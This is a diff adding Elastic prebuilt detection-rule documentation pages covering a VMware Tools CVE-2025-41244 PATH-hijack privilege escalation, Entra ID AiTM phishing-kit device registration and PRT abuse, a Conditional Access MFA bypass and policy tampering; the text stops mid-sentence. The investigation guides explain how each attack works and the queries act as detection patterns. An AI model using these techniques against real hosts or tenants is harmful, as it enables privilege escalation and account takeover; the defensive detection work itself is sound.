b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-deprecated-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-28-deprecated-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt]] +=== Deprecated - Potential CVE-2025-41244 vmtoolsd LPE Exploitation Attempt + +This rule looks for processes that behave like an attacker trying to exploit a known vulnerability in VMware tools (CVE-2025-41244). The vulnerable behavior involves the VMware tools service or its discovery scripts executing other programs to probe their version strings. An attacker can place a malicious program in a writable location (for example /tmp) and have the tools execute it with elevated privileges, resulting in local privilege escalation. The rule flags launches where vmtoolsd or the service discovery scripts start other child processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Use Case: Vulnerability +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - Potential CVE-2025-41244 vmtoolsd LPE Exploitation Attempt* + + +This rule flags child processes started by vmtoolsd or its version-checking script on Linux, behavior central to CVE-2025-41244 where the service executes external utilities to read version strings. It matters because a local user can coerce these invocations to run arbitrary code with elevated privileges. A typical pattern is dropping a counterfeit lsb_release or rpm in /tmp, modifying PATH, and triggering vmtoolsd/get-versions.sh so the rogue binary executes and spawns a privileged shell or installer. + + +*Possible investigation steps* + + +- Examine the executed child binary’s full path and location, flagging any binaries in writable directories (e.g., /tmp, /var/tmp, /dev/shm, or user home) or masquerading as version utilities (lsb_release, rpm, dpkg, dnf, pacman), and record owner, size, hash, and recent timestamps. +- Pull the parent’s and child’s command-line and environment to confirm PATH ordering and whether writable paths precede system binaries, capturing any evidence that get-versions.sh or vmtoolsd invoked a non-standard utility. +- Pivot to subsequent activity from the child process to see if it spawns an interactive shell, escalates EUID to root, touches /etc/sudoers or /etc/passwd, writes to privileged directories, or opens outbound connections. +- Verify integrity of open-vm-tools components by comparing hashes and file sizes of vmtoolsd and serviceDiscovery scripts with vendor packages (rpm -V or dpkg --verify) and checking for unexpected edits, symlinks, or PATH-hijackable calls within the scripts. +- Correlate filesystem creation events and terminal histories to identify the user who dropped or modified the suspicious binary and whether it appeared shortly before the alert, then assess other hosts for the same filename or hash to determine spread. + + +*False positive analysis* + + +- Routine vmtoolsd service discovery via get-versions.sh during VM boot or periodic guest info refresh can legitimately spawn version/package utilities from standard system paths with a default PATH and no execution from writable directories, yet still match this rule. +- Administrator troubleshooting or post-update validation of open-vm-tools—manually running get-versions.sh or restarting vmtoolsd—can cause a shell to launch the script and start expected system utilities in trusted locations, producing a benign alert. + + +*Response and remediation* + + +- Isolate the affected VM, stop the vmtoolsd service, terminate its spawned children (e.g., lsb_release, rpm, dpkg, or /bin/sh launched via open-vm-tools/serviceDiscovery/scripts/get-versions.sh), and temporarily remove execute permissions from the serviceDiscovery scripts to halt exploitation. +- Quarantine and remove any counterfeit or hijacked utilities and symlinks in writable locations (/tmp, /var/tmp, /dev/shm, or user home) that were executed by vmtoolsd/get-versions.sh, capturing full paths, hashes, owners, and timestamps for evidence. +- Recover by reinstalling open-vm-tools from a trusted repository and verifying integrity of vmtoolsd and serviceDiscovery scripts (rpm -V or dpkg --verify), then restart vmtoolsd only after confirming PATH does not include writable directories and that the scripts call absolute binaries under /usr/bin. +- Escalate to full incident response if a vmtoolsd child executed from a writable path ran with EUID 0, spawned an interactive shell (/bin/sh or /bin/bash), or modified /etc/sudoers or /etc/passwd, and initiate credential rotation and a host-wide compromise assessment. +- Harden hosts by enforcing a safe PATH (e.g., /usr/sbin:/usr/bin:/sbin:/bin), removing writable directories from system and user environment files, mounting /tmp,/var/tmp,/dev/shm with noexec,nosuid,nodev, and applying AppArmor/SELinux policies to block vmtoolsd from executing binaries outside system directories. +- Prevent recurrence by deploying the vendor fix for CVE-2025-41244 across all Linux VMs, pinning or replacing the open-vm-tools serviceDiscovery scripts with versions that use absolute paths, and adding EDR allowlists/blocks so vmtoolsd cannot launch binaries from writable paths. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +( + ( + process.parent.name == "vmtoolsd" + ) or + ( + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + ?process.parent.args like ("/*/open-vm-tools/serviceDiscovery/scripts/get-versions.sh") + ) +) and not ( + process.executable == null or + ?process.parent.args == "--version" or + process.args like ( + "/etc/vmware-tools/resume-vm-default", + "/etc/vmware-tools/suspend-vm-default", + "/sbin/shutdown", + "/sbin/shutdown*", + "/etc/vmware-tools/poweroff-vm-default", + "/etc/vmware-tools/poweroff-vm-default", + "/bin/touch", + "/tmp/vmware-administrator_*", + "/tmp/vmware-root_*", + "/etc/vmware-tools/scripts/vmware/network", + "/etc/vmware-tools/poweron-vm-default" + ) or + process.executable == "/usr/sbin/unix_chkpwd" or + ?process.working_directory like ("/var/opt/ds_agent", "/tmp/vmware-root_*/tmpvmware*") or + process.command_line like ("*/usr/bin/lsb_release*", "*/bin/touch*", "*/tmp/vmware-root_*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-aitm-phishing-kit-chain-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-aitm-phishing-kit-chain-detected.asciidoc new file mode 100644 index 0000000000..207f377990 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-aitm-phishing-kit-chain-detected.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-28-entra-id-aitm-phishing-kit-chain-detected]] +=== Entra ID AiTM Phishing-Kit Chain Detected + +Identifies a Microsoft Entra ID identity-compromise chain in which a single user, within a 10-minute window, authenticates to the Device Registration Service through the Microsoft Authentication Broker (MAB) client, registers a device, and then uses the resulting Primary Refresh Token (PRT) to access a resource other than the Device Registration Service. This sequence is the core post-adversary-in-the-middle (AiTM) persistence pattern used by phishing kits such as Tycoon2FA and Kali365: after capturing a victim session, the kit registers an Azure AD-joined device to obtain a device-bound PRT, which survives user-level session revocation and password resets and grants trusted, MFA-free access. Correlating the broker sign-in, the device-registration audit event, and the follow-on PRT sign-in for the same user within a short window is a high-fidelity indicator of active account takeover. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.signinlogs-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://any.run/malware-trends/kali365/ +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.elastic.co/security-labs/tycoon-2fa-aitm-detection-engineering + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID AiTM Phishing-Kit Chain Detected* + + +This rule correlates three events for the same user within a 10-minute window that together represent the canonical post-AiTM identity-compromise chain: + +1. A non-interactive sign-in through the Microsoft Authentication Broker (MAB) client (`app_id` `29d9ed98-a469-4536-ade2-f981bc1d605e`) to the `Device Registration Service` resource, with an `unbound` session token (`token_protection_status_details.sign_in_session_status`). +2. A successful `Register device` audit event initiated by the same user for a target device named `DESKTOP-*`. +3. An interactive sign-in using a `primaryRefreshToken` (PRT) to a resource other than the Device Registration Service, from an unmanaged device. + +After an AiTM kit captures a victim session, it registers an Azure AD-joined device to obtain a device-bound PRT. Because the PRT is bound to the device rather than the user session, it survives `revokeSignInSessions` and password resets, providing durable, MFA-free access. Observing the broker-to-DRS auth, the registration, and the first PRT use in quick succession is strong evidence of active account takeover rather than benign onboarding. + + +*Possible investigation steps* + + +- Identify the user via `azure.signinlogs.properties.user_principal_name` / `azure.signinlogs.properties.user_id` and the registered device via the `Register device` event (`azure.auditlogs.properties.target_resources.0.display_name`). Default `DESKTOP-` names that do not match your convention are suspicious. +- Review the source of each step: `source.ip`, `source.as.organization.name`, and `source.geo.*`. Hosting/VPS ASNs (for example Tencent or Alibaba) and unexpected geographies, or a single source driving all three steps, are high-fidelity suspicious. +- Inspect the registration user agent on the `Register device` event (`azure.auditlogs.properties.userAgent`); a spoofed `Dsreg/10.0 (Windows )` string or a raw HTTP client such as `axios/*` or `python-requests/*` indicates tooling. +- Confirm the PRT step: `azure.signinlogs.properties.incoming_token_type` is `primaryRefreshToken`, the device `trust_type` is `Azure AD joined`, and `device_detail.is_managed` is false (unmanaged), and the `resource_display_name` is a real resource (Microsoft Graph, Office 365 Exchange Online, etc.) rather than the Device Registration Service. +- Check for additional persistence established in the same window: an attacker-registered MFA method (`User registered security info`), multiple device registrations by the same user, or broker tokens minted for other resources. +- Review Conditional Access outcomes to determine whether device compliance or MFA was bypassed. + + +*False positive analysis* + + +- Legitimate Azure AD join / device onboarding can produce a broker-to-DRS auth followed by PRT issuance. Validate the device against inventory and confirm it is managed/compliant and registered from an expected source. +- Authorized security assessments that register devices and exercise PRTs will match. Document and add scoped exceptions. + + +*Response and remediation* + + +- Treat as likely account takeover. Remove the rogue device registration BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions` and a device left in place re-establishes access. + - `GET /v1.0/users/{id}/registeredDevices` and `/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}` for unrecognized devices. +- Revoke refresh tokens and sessions, then reset credentials and re-register MFA. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the account if activity must be halted during investigation. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Remove other attacker persistence: attacker-registered MFA methods, malicious inbox/forwarding rules, and OAuth consents. +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices, require MFA for registration, and require a compliant/managed device for resource access). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=3m + [authentication where + data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.category == "NonInteractiveUserSignInLogs" and + azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.resource_display_name == "Device Registration Service" and + azure.signinlogs.properties.incoming_token_type == "refreshToken" and + azure.signinlogs.properties.token_protection_status_details.sign_in_session_status == "unbound" and + azure.signinlogs.properties.user_type == "Member" and + azure.signinlogs.result_signature == "SUCCESS" + ] by azure.signinlogs.properties.user_id + [any where + data_stream.dataset == "azure.auditlogs" and + azure.auditlogs.operation_name == "Register device" and + azure.auditlogs.properties.initiated_by.user.id != null and + azure.auditlogs.properties.target_resources.`0`.display_name like "DESKTOP-*" and + event.outcome == "success" + ] by azure.auditlogs.properties.initiated_by.user.id + [authentication where + data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.properties.incoming_token_type == "primaryRefreshToken" and + azure.signinlogs.properties.original_transfer_method == "deviceCodeFlow" and + azure.signinlogs.properties.is_interactive == true and + azure.signinlogs.properties.resource_display_name != "Device Registration Service" and + azure.signinlogs.properties.device_detail.is_managed != true and + azure.signinlogs.result_signature == "SUCCESS" + ] by azure.signinlogs.properties.user_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn.asciidoc new file mode 100644 index 0000000000..d8f7e3fd7a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-28-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn]] +=== Entra ID Conditional Access MFA Bypass with Unusual User, Client and Source ASN + +Identifies the first observed instance of a Microsoft first-party public client application acquiring a Microsoft Graph token using single-factor (password-only) authentication while an MFA Conditional Access grant control went unenforced, for a given user, application, and source autonomous system (ASN). This pattern is associated with the Conditional Access "resource exclusion" bypass: when a tenant's "all resources" Conditional Access policy contains at least one application exclusion, Entra ID issues tokens for low-privilege baseline scopes (User.Read, openid, profile, email) to any resource, including Microsoft Graph, without enforcing the policy's grant controls (such as MFA). An adversary holding only a stolen password can therefore obtain a Graph token through a trusted first-party public client (for example, Microsoft Bing Search) and enumerate directory objects, even though the tenant requires MFA. Critically, the overall conditional_access_status is never "failure" for this technique (the sign-in is not blocked); it is reported as "success" or "notApplied" depending on what other policies exist in the tenant, so detections that key on Conditional Access failures will not observe it. The reliable fingerprint is in the per-policy results: a policy whose enforced grant control is MFA reports a result of "notApplied" for this sign-in, meaning the MFA requirement was silently not enforced while the single-factor, password-only sign-in still succeeded. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/bypassing-conditional-access-with-resource-exclusion/ +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Conditional Access MFA Bypass with Unusual User, Client and Source ASN* + + +This rule fires the first time a user signs in to Microsoft Graph through a Microsoft first-party app using single-factor, password-only authentication, keyed on the user, app, and source ASN within the history window. First-party apps are matched by their owner tenant (`app_owner_tenant_id` `f8cdef31-a31e-4b4a-93e4-5f571e91255a`) instead of a fixed client ID list, so switching to a different first-party client does not get around the detection. The password-only form of this bypass depends on first-party apps: they are pre-consented in every tenant and cannot be blocked, so a stolen password is enough to use one. A third-party or confidential client would mean the attacker already controls an app in the tenant, which is a different scenario. + +The behavior comes from the Conditional Access resource-exclusion bypass. If an "all resources" CA policy excludes even one application, Entra ID issues tokens for baseline scopes (User.Read, openid, profile, email) to Microsoft Graph without applying the policy's grant controls, so MFA is skipped. Default directory permissions then let that `User.Read` token read groups, service principals, directory roles, and devices. + +Do not read too much into the top-level `azure.signinlogs.properties.conditional_access_status` here. It shows `success` or `notApplied` (never `failure`, since the sign-in is not blocked), and which one you see depends on the other policies in the tenant. The useful evidence is in `azure.signinlogs.properties.applied_conditional_access_policies`: an MFA grant control (`enforced_grant_controls` of `Mfa`) that came back `notApplied` on a sign-in that was still single-factor and password-based. That is what the query keys on. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` to identify the user and whether they hold privileged roles or are otherwise a high-value target. +- Confirm the client via `azure.signinlogs.properties.app_display_name` and `azure.signinlogs.properties.app_id`. End-user authentication of clients such as Microsoft Bing Search to Microsoft Graph is uncommon and warrants scrutiny; everyday clients (Microsoft Teams, OneDrive, Outlook Mobile) are far more likely to be benign. +- Examine `source.ip`, `source.as.number`, `source.as.organization.name`, and `source.geo.*` for hosting-provider or geographic anomalies inconsistent with the user's normal sign-in locations. +- Inspect `azure.signinlogs.properties.applied_conditional_access_policies` for the sign-in. A policy with `enforced_grant_controls` of `Mfa` and a `result` of `notApplied`, on a `singleFactorAuthentication` / `Password` sign-in, means the MFA grant control was present but not enforced. Note the aggregate `conditional_access_status` may read `success` or `notApplied` and is not by itself indicative. +- Review whether the tenant has an "all resources" Conditional Access policy with one or more application exclusions, which is the configuration that enables this bypass. +- Pivot to `logs-azure.graphactivitylogs-*` for the same `user_principal_object_id` and `app_id` to identify directory enumeration (requests to `/groups`, `/servicePrincipals`, `/directoryRoles`, `/devices`, `/users`) shortly after the sign-in. +- Correlate using `azure.signinlogs.properties.session_id` to reconstruct the full token-acquisition sequence, including any non-interactive token redemption. + + +*False positive analysis* + + +- Everyday first-party public clients (Microsoft Teams, OneDrive, Outlook Mobile, Microsoft 365 Copilot, Microsoft To-Do, Edge, Windows Search) legitimately acquire Microsoft Graph tokens with single-factor authentication, particularly when MFA was already satisfied earlier in the session or no MFA policy applies to that application. Expect benign first-time `(user, app, ASN)` combinations, especially during onboarding or first use of a tool. +- Users signing in from a new network (travel, VPN, new ISP) will present a new ASN and may trigger the New Terms condition once. +- In tenants with broad MFA Conditional Access policies, those policies can legitimately report `notApplied` for single-factor sign-ins that are genuinely out of policy scope (for example, sign-ins from a trusted named location or an app excluded from the policy). The `applied_conditional_access_policies` condition therefore sharpens, but does not perfectly isolate, the bypass; corroborate with the application identity and source. +- The rule scopes to all Microsoft first-party applications via `app_owner_tenant_id` rather than a fixed client ID list, so it covers every first-party public client but is correspondingly broad. New Terms on `(user, app_id, ASN)` limits this to first-occurrence events; consider allowlisting expected `(user, app)` pairs, or specific high-volume everyday first-party apps, to further reduce volume. +- Tune by excluding known developer or automation identities that routinely use these clients against Microsoft Graph. + + +*Response and remediation* + + +- Contact the user to confirm whether they initiated the sign-in and used the detected application. +- If unauthorized, revoke the user's refresh tokens and require password reset and MFA re-registration. +- Review `logs-azure.graphactivitylogs-*` for directory enumeration or data access performed with the issued token. +- Remediate the enabling configuration: review "all resources" Conditional Access policies for application exclusions, and enable strict baseline-scope enforcement so baseline scopes do not bypass grant controls. +- Block the source IP or ASN if confirmed malicious. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and +event.outcome: "success" and +azure.signinlogs.properties.user_type: "Member" and +azure.signinlogs.properties.authentication_requirement: "singleFactorAuthentication" and +azure.signinlogs.properties.conditional_access_status: ("success" or "notApplied") and +azure.signinlogs.properties.authentication_details.authentication_method: "Password" and +azure.signinlogs.properties.applied_conditional_access_policies.enforced_grant_controls: "Mfa" and +azure.signinlogs.properties.applied_conditional_access_policies.result: "notApplied" and +( + azure.signinlogs.properties.resource_id: "00000003-0000-0000-c000-000000000000" or + azure.signinlogs.properties.resource_display_name: "Microsoft Graph" +) and +azure.signinlogs.properties.app_owner_tenant_id: "f8cdef31-a31e-4b4a-93e4-5f571e91255a" and +azure.signinlogs.properties.user_principal_name: * and +azure.signinlogs.properties.app_id: * and +source.as.number: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-conditional-access-policy-cap-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-conditional-access-policy-cap-modified.asciidoc new file mode 100644 index 0000000000..422d51b112 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-conditional-access-policy-cap-modified.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-28-entra-id-conditional-access-policy-cap-modified]] +=== Entra ID Conditional Access Policy (CAP) Modified + +Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview +* https://www.rezonate.io/blog/microsoft-entra-id-the-complete-guide-to-conditional-access-policies/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigation Guide: Microsoft Entra ID Conditional Access Policy (CAP) Modified* + + +Azure Conditional Access Policies (CAPs) are critical for enforcing secure access requirements such as multi-factor authentication (MFA), restricting specific users or groups, and managing sign-in conditions. Modifying these policies can be a technique for weakening an organization’s defenses and maintaining persistence after initial access. + +This rule detects a successful update to a Conditional Access Policy in Microsoft Entra ID (formerly Azure AD). + + +*Possible Investigation Steps* + + +- **Identify the user who modified the policy:** + - Check the value of `azure.auditlogs.properties.initiated_by.user.userPrincipalName` to determine the identity that made the change. + - Investigate their recent activity to determine if this change was expected or authorized. + +- **Review the modified policy name:** + - Look at `azure.auditlogs.properties.target_resources.*.display_name` to find the name of the affected policy. + - Determine whether this policy is related to critical controls (e.g., requiring MFA for admins). + +- **Analyze the policy change:** + - Compare the `old_value` and `new_value` fields under `azure.auditlogs.properties.target_resources.*.modified_properties.*`. + - Look for security-reducing changes, such as: + - Removing users/groups from enforcement. + - Disabling MFA or risk-based conditions. + - Introducing exclusions that reduce the policy’s coverage. + +- **Correlate with other activity:** + - Pivot on `azure.auditlogs.properties.activity_datetime` to identify if any suspicious sign-ins occurred after the policy was modified. + - Check for related authentication logs, particularly from the same IP address (`azure.auditlogs.properties.initiated_by.user.ipAddress`). + +- **Assess the user's legitimacy:** + - Review the initiator’s Azure role, group memberships, and whether their account was recently elevated or compromised. + - Investigate whether this user has a history of modifying policies or if this is anomalous. + + +*Validation & False Positive Considerations* + + +- **Authorized administrative changes:** Some organizations routinely update CAPs as part of policy tuning or role-based access reviews. +- **Security reviews or automation:** Scripts, CI/CD processes, or third-party compliance tools may programmatically update CAPs. +- **Employee lifecycle events:** Policy changes during employee onboarding/offboarding may include updates to access policies. + +If any of these cases apply and align with the activity's context, consider tuning the rule or adding exceptions for expected patterns. + + +*Response & Remediation* + + +- Revert unauthorized or insecure changes to the Conditional Access Policy immediately. +- Temporarily increase monitoring of CAP modifications and sign-in attempts. +- Lock or reset the credentials of the user account that made the change if compromise is suspected. +- Conduct a broader access review of conditional access policies and privileged user activity. +- Implement stricter change management and alerting around CAP changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and event.action:"Update conditional access policy" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc new file mode 100644 index 0000000000..f5c2835541 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-28-entra-id-device-registration-with-phishing-kit-default-os-build]] +=== Entra ID Device Registration with Phishing Kit Default OS Build + +Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19045.2006" and the device display name follows the default "DESKTOP-" pattern. This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and it is uncommon for the OS build to match this exact value across an environment of 